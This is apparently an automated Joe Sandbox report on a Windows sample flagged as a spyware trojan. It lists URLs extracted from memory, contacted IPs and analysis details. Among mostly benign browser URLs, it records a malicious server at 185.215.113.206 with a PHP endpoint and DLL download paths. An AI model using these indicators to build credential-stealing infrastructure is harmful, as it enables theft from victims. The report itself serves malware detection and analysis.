URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/4633	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/hj$N	chrome.exe, 00000002.00000003.1879184236.00004E2400684000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false		unknown
http://185.215.113.206l	file.exe, 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll7	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000002.00000003.1891726026.000007C000CC0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_79.4.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000002.00000003.1881287982.000007C0001EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpcal	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5007	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1719489044.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157343920.000000006F8C1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000002.00000003.1891677208.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1894529331.000007C000CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1894339070.000007C000FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1898291752.000007C000CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1897002075.000007C000340000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1892608136.000007C000CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891726026.000007C000CC0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/nss3.dlle	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915157871.000007C00141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915273475.000007C00142C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915217783.000007C001424000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll6	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.4.dr, chromecache_79.4.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000002.00000003.1894946927.000007C001054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896913752.000007C00120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895161960.000007C001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896191966.000007C000CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896354732.000007C000F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895074932.000007C000F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895015037.000007C001064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896763736.000007C00114C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896292740.000007C000A38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1896319091.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1895041870.000007C0010B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000002.00000003.1914947926.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915921859.000007C001378000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915157871.000007C00141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915273475.000007C00142C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915951652.000007C001458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915072129.000007C00135C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915217783.000007C001424000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_79.4.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpDBAFHJJDAKEBGCFCB	file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7604	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7761	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000002.00000003.1915804971.000007C00135C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7760	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1997025484.000000000112F000.00000004.00000020.00020000.00000000.sdmp, EBGIEGCF.0.dr	false		unknown
http://anglebug.com/5901	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3965	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6439	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7406	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search	chrome.exe, 00000002.00000003.1917562797.000007C0014BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7161	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-autopush.corp.google.com/	chrome.exe, 00000002.00000003.1882446732.000007C0004B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search?q=$	chrome.exe, 00000002.00000003.1896625755.000007C00040C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7162	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5906	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/2517	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4937	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/166809097	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://issuetracker.google.com/200067929	chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lens.google.com/v3/2	chrome.exe, 00000002.00000003.1878753508.00004E2400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1918941151.00004E240080C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7847	chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.206	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545041
Start date and time:	2024-10-30 02:26:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
